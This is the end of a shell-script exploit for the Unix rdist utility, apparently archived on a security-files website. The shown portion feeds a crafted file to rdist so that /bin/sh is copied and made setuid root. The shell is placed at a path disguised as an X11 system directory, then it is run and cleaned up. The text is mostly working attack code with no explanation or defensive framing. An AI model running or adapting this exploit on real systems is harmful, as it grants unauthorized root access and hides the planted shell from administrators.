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aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Qaaaaaaaaaaaaaaaaaaaaaaaaaa
Qaaaaaaaaaaaaaaaaaaaaaaaaa
Qaaaaaaaaaaaaaaaaaaaaaaaa
Qaaaaaaaaaaaaaaaaaaaaaaa
Scp /bin/sh $BOOM
Schmod 4755 $BOOM
_EOF_
cat test | /usr/ucb/rdist -Server localhost 
rm -rf test 
if [ -f $BOOM ]; then 
echo "SUID root shell created in /tmp/.X11-Unix " 
/tmp/.X11-Unix
rm -f /tmp/.X11-Unix
fi
 

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH